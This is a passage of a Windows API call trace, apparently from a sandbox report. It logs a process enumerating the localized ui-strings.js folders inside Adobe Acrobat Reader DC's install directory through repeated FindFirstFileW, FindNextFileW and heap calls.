dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0250.216] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0250.216] GetProcessHeap () returned 0xc10000 [0250.216] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0250.216] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\it-it\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0250.217] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.217] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x25a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0250.217] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x25a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0250.217] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0250.217] GetProcessHeap () returned 0xc10000 [0250.217] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0250.217] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0250.218] GetProcessHeap () returned 0xc10000 [0250.218] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0250.218] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\ja-jp\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0250.219] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.219] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2a85, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0250.219] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2a85, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0250.219] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0250.219] GetProcessHeap () returned 0xc10000 [0250.219] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0250.219] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0250.220] GetProcessHeap () returned 0xc10000 [0250.220] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0250.220] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\ko-kr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0250.221] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.221] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2592, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0250.221] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2592, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0250.221] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0250.221] GetProcessHeap () returned 0xc10000 [0250.221] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0250.221] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0250.221] GetProcessHeap () returned 0xc10000 [0250.221] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0250.221] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\nb-no\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0250.222] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.222] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2452, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0250.222] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2452, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0250.222] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0250.222] GetProcessHeap () returned 0xc10000 [0250.222] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0250.222] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0250.222] GetProcessHeap () returned 0xc10000 [0250.223] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0250.223] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\nl-nl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0250.223] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.223] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x26c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0250.223] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x26c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0250.223] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0250.224] GetProcessHeap () returned 0xc10000 [0250.224] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0250.224] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0250.224] GetProcessHeap () returned 0xc10000 [0250.224] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0250.224] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\pl-pl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0250.224] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.224] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x27c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0250.224] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x27c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0250.225] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0250.225] GetProcessHeap () returned 0xc10000 [0250.225] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0250.225] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0250.225] GetProcessHeap () returned 0xc10000 [0250.225] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0250.225] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\pt-br\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0250.394] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.394] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x252a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0250.394] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x252a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0250.394] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0250.394] GetProcessHeap () returned 0xc10000 [0250.394] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0250.394] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0250.395] GetProcessHeap () returned 0xc10000 [0250.395] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0250.395] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\ro-ro\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0250.395] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.395] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x280a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0250.396] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, 